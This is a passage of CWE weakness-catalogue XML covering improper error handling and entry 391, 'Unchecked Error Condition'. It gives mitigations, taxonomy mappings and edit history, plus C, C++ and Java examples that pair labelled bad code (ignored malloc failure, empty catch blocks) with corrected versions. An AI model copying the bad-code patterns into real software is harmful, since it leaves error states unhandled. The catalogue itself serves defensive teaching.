						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>889</Relationship_Target_ID>
					          <!--SFP Cluster: Exception Management-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could utilize an ignored error condition to place the
							system in an unexpected state that could lead to the execution of
							unintended logic and could cause other unintended behavior.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Properly handle each exception. This is the recommended solution.
							Ensure that all exceptions are handled in such a way that you can be
							sure of the state of your system at any given moment.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If a function returns an error, it is important to either fix the
							problem and try again, alert the user that an error has happened and let
							the program continue, or alert the user and close and cleanup the
							program.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Subject the software to extensive testing to discover some of the
							possible instances of where/how errors or return values are not handled.
							Consider testing techniques such as ad hoc, equivalence partitioning,
							robustness and fault tolerance, mutation, and fuzzing.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following example attempts to allocate memory for a character.
						After the call to malloc, an if statement is used to check whether the
						malloc function failed.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>foo=malloc(sizeof(char)); //the next line checks to see if malloc
								failed</Code>
							              <Code>if (foo==NULL) {</Code>
							              <Block>
								                <Code>//We do nothing so we just ignore the error.</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The conditional successfully detects a NULL return value from malloc
							indicating a failure, however it does not do anything to handle the
							problem. Unhandled errors may have unexpected results and may cause the
							program to crash or terminate.</Text>
						            <Text>Instead, the if block should contain statements that either attempt to
							fix the problem or notify the user that an error has occurred and
							continue processing or perform some cleanup and gracefully terminate the
							program. The following example notifies the user that the malloc
							function did not allocate the required memory resources and returns an
							error code.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>foo=malloc(sizeof(char)); //the next line checks to see if malloc
								failed</Code>
							              <Code>if (foo==NULL) {</Code>
							              <Block>
								                <Code>printf("Malloc failed to allocate memory resources");</Code>
								                <Code>return -1;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In the following C++ example the method readFile() will read the
						file whose name is provided in the input parameter and will return the
						contents of the file in char string. The method calls open() and read() may
						result in errors if the file does not exist or does not contain any data to
						read. These errors will be thrown when the is_open() method and good()
						method indicate errors opening or reading the file. However, these errors
						are not handled within the catch statement. Catch statements that do not
						perform any processing will have unexpected results. In this case an empty
						char string will be returned, and the file will not be properly
						closed.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>char* readfile (char *filename) {</Code>
							              <Block>
								                <Code>try {</Code>
								                <Block>
									                  <Code>// open input file</Code>
									                  <Code>ifstream infile;</Code>
									                  <Code>infile.open(filename);</Code>
									                  <Code/>
									                  <Code>if (!infile.is_open()) {</Code>
									                  <Block>
										                    <Code>throw "Unable to open file " + filename;</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code/>
									                  <Code>// get length of file</Code>
									                  <Code>infile.seekg (0, ios::end);</Code>
									                  <Code>int length = infile.tellg();</Code>
									                  <Code>infile.seekg (0, ios::beg);</Code>
									                  <Code/>
									                  <Code>// allocate memory</Code>
									                  <Code>char *buffer = new char [length];</Code>
									                  <Code/>
									                  <Code>// read data from file</Code>
									                  <Code>infile.read (buffer,length);</Code>
									                  <Code/>
									                  <Code>if (!infile.good()) {</Code>
									                  <Block>
										                    <Code>throw "Unable to read from file " + filename;</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code/>
									                  <Code>infile.close();</Code>
									                  <Code/>
									                  <Code>return buffer;</Code>
								                </Block>
								                <Code>} </Code>
								                <Code>catch (...) {</Code>
								                <Block>
									                  <Code>/* bug: insert code to handle this later */ </Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>} </Code>
						            </Block>
						            <Text>The catch statement should contain statements that either attempt to
							fix the problem or notify the user that an error has occurred and
							continue processing or perform some cleanup and gracefully terminate the
							program. The following C++ example contains two catch statements. The
							first of these will catch a specific error thrown within the try block,
							and the second catch statement will catch all other errors from within
							the catch block. Both catch statements will notify the user that an
							error has occurred, close the file, and rethrow to the block that called
							the readFile() method for further handling or possible termination of
							the program.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>char* readFile (char *filename) {</Code>
							              <Block>
								                <Code>try {</Code>
								                <Block>
									                  <Code>// open input file</Code>
									                  <Code>ifstream infile;</Code>
									                  <Code>infile.open(filename);</Code>
									                  <Code/>
									                  <Code>if (!infile.is_open()) {</Code>
									                  <Block>
										                    <Code>throw "Unable to open file " + filename;</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code/>
									                  <Code>// get length of file</Code>
									                  <Code>infile.seekg (0, ios::end);</Code>
									                  <Code>int length = infile.tellg();</Code>
									                  <Code>infile.seekg (0, ios::beg);</Code>
									                  <Code/>
									                  <Code>// allocate memory</Code>
									                  <Code>char *buffer = new char [length];</Code>
									                  <Code/>
									                  <Code>// read data from file</Code>
									                  <Code>infile.read (buffer,length);</Code>
									                  <Code/>
									                  <Code>if (!infile.good()) {</Code>
									                  <Block>
										                    <Code>throw "Unable to read from file " + filename;</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>infile.close();</Code>
									                  <Code/>
									                  <Code>return buffer;</Code>
								                </Block>
								                <Code>} </Code>
								                <Code>catch (char *str) {</Code>
								                <Block>
									                  <Code>printf("Error: %s \n", str);</Code>
									                  <Code>infile.close();</Code>
									                  <Code>throw str;</Code>
								                </Block>
								                <Code>} </Code>
								                <Code>catch (...) {</Code>
								                <Block>
									                  <Code>printf("Error occurred trying to read from file
										\n");</Code>
									                  <Code>infile.close();</Code>
									                  <Code>throw; </Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In the following Java example the method readFile will read the file
						whose name is provided in the input parameter and will return the contents
						of the file in a String object. The constructor of the FileReader object and
						the read method call may throw exceptions and therefore must be within a
						try/catch block. While the catch statement in this example will catch thrown
						exceptions in order for the method to compile, no processing is performed to
						handle the thrown exceptions. Catch statements that do not perform any
						processing will have unexpected results. In this case, this will result in
						the return of a null String.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public String readFile(String filename) {</Code>
							              <Block>
								                <Code>String retString = null;</Code>
								                <Code>try {</Code>
								                <Block>
									                  <Code>// initialize File and FileReader objects</Code>
									                  <Code>File file = new File(filename);</Code>
									                  <Code>FileReader fr = new FileReader(file);</Code>
									                  <Code/>
									                  <Code>// initialize character buffer</Code>
									                  <Code>long fLen = file.length();</Code>
									                  <Code>char[] cBuf = new char[(int) fLen];</Code>
									                  <Code/>
									                  <Code>// read data from file</Code>
									                  <Code>int iRead = fr.read(cBuf, 0, (int) fLen);</Code>
									                  <Code/>
									                  <Code>// close file</Code>
									                  <Code>fr.close();</Code>
									                  <Code/>
									                  <Code>retString = new String(cBuf);</Code>
									                  <Code/>
								                </Block>
								                <Code>} catch (Exception ex) {</Code>
								                <Block>
									                  <Code>/* do nothing, but catch so it'll compile... */</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>return retString;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The catch statement should contain statements that either attempt to
							fix the problem, notify the user that an exception has been raised and
							continue processing, or perform some cleanup and gracefully terminate
							the program. The following Java example contains three catch statements.
							The first of these will catch the FileNotFoundException that may be
							thrown by the FileReader constructor called within the try/catch block.
							The second catch statement will catch the IOException that may be thrown
							by the read method called within the try/catch block. The third catch
							statement will catch all other exceptions thrown within the try block.
							For all catch statements the user is notified that the exception has
							been thrown and the exception is rethrown to the block that called the
							readFile() method for further processing or possible termination of the
							program. Note that with Java it is usually good practice to use the
							getMessage() method of the exception class to provide more information
							to the user about the exception raised.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public String readFile(String filename) throws
								FileNotFoundException, IOException, Exception {</Code>
							              <Block>
								                <Code>String retString = null;</Code>
								                <Code>try {</Code>
								                <Block>
									                  <Code>// initialize File and FileReader objects</Code>
									                  <Code>File file = new File(filename);</Code>
									                  <Code>FileReader fr = new FileReader(file);</Code>
									                  <Code/>
									                  <Code>// initialize character buffer</Code>
									                  <Code>long fLen = file.length();</Code>
									                  <Code>char [] cBuf = new char[(int) fLen];</Code>
									                  <Code/>
									                  <Code>// read data from file</Code>
									                  <Code>int iRead = fr.read(cBuf, 0, (int) fLen);</Code>
									                  <Code/>
									                  <Code>// close file</Code>
									                  <Code>fr.close();</Code>
									                  <Code/>
									                  <Code>retString = new String(cBuf);</Code>
									                  <Code/>
								                </Block>
								                <Code>} catch (FileNotFoundException ex) {</Code>
								                <Block>
									                  <Code>System.err.println ("Error: FileNotFoundException opening
										the input file: " + filename );</Code>
									                  <Code>System.err.println ("" + ex.getMessage() );</Code>
									                  <Code>throw new FileNotFoundException(ex.getMessage());</Code>
								                </Block>
								                <Code>} catch (IOException ex) {</Code>
								                <Block>
									                  <Code>System.err.println("Error: IOException reading the input
										file.\n" + ex.getMessage() );</Code>
									                  <Code>throw new IOException(ex);</Code>
								                </Block>
								                <Code>} catch (Exception ex) {</Code>
								                <Block>
									                  <Code>System.err.println("Error: Exception reading the input
										file.\n" + ex.getMessage() );</Code>
									                  <Code>throw new Exception(ex);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>return retString;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 11: Failure to Handle Errors Correctly." Page
						183</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Improper error handling</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not suppress or ignore checked
						exceptions</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR00-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Guarantee exception safety</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR39-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>66</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>7</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>83</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Description, Other_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, References, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Improper Error
						Handling</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="391" Name="Unchecked Error Condition" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>Ignoring exceptions and other error conditions may allow an
					attacker to induce unexpected behavior unnoticed.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>703</Relationship_Target_ID>
					          <!--Improper Check or Handling of Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>389</Relationship_Target_ID>
					          <!--Error Conditions, Return Values, Status Codes-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>728</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A7 - Improper Error Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>388</Relationship_Target_ID>
					          <!--Error Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>743</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>746</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 12 - Error Handling (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>876</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>877</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>880</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>889</Relationship_Target_ID>
					          <!--SFP Cluster: Exception Management-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This entry needs significant modification. It currently combines
						information from three different taxonomies, but each taxonomy is talking
						about a slightly different issue.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Other_Notes>
				        <Note>
					          <Text>Just about every serious attack on a software system begins with the
						violation of a programmer's assumptions. After the attack, the programmer's
						assumptions seem flimsy and poorly founded, but before an attack many
						programmers would defend their assumptions well past the end of their lunch
						break. Two dubious assumptions that are easy to spot in code are "this
						method call can never fail" and "it doesn't matter if this call fails". When
						a programmer ignores an exception, they implicitly state that they are
						operating under one of these assumptions.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>The choice between a language which has
							named or unnamed exceptions needs to be done. While unnamed exceptions
							exacerbate the chance of not properly dealing with an exception, named
							exceptions suffer from the up call version of the weak base class
							problem.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>A language can be used which requires, at
							compile time, to catch all serious exceptions. However, one must make
							sure to use the most current version of the API as new exceptions could
							be added.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Catch all relevant exceptions. This is the recommended solution.
							Ensure that all exceptions are handled in such a way that you can be
							sure of the state of your system at any given moment.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code excerpt ignores a rarely-thrown exception from
						doExchange().</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>try {</Code>
							              <Block>
								                <Code>doExchange();</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>catch (RareException e) {</Code>
							              <Block>
								                <Code/>
								                <Comment>// this can never happen</Comment>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>If a RareException were to ever be thrown, the program would continue
							to execute as though nothing unusual had occurred. The program records
							no evidence indicating the special situation, potentially frustrating
							any later attempt to explain the program's behavior.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Unchecked Return Value</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Empty Catch Block</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Uncaught exception</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Improper Error Handling</Mapped_Node_Name>
					          <Mapped_Node_ID>A7</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Adopt and implement a consistent and comprehensive
						error-handling policy</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR00-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Detect and handle input and output errors</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO04-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Detect and handle input output errors resulting in undefined
						behavior</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO33-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Detect and handle memory allocation errors</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM32-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Detect and handle input and output errors</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO04-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Detect and handle input output errors resulting in undefined
						behavior</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO33-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Adopt and implement a consistent and comprehensive
						error-handling policy</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR00-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Check for error conditions</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR10-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A weakness where code path has:</Text>
					          <Block>
						            <Text>1. start statement that changes a state of the system resource</Text>
						            <Text>2. end statement that accesses the system resource, where the changed
							and the assumed state of the system resource are not equal.</Text>
						            <Text>3. the state of the resource is not compatible with the type of access
							being performed by the end statement</Text>
					          </Block>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>KDM Analytics</Modifier>
					          <Modification_Date>2009-07-17</Modification_Date>
					          <Modification_Comment>Improved the White_Box_Definition</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated White_Box_Definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
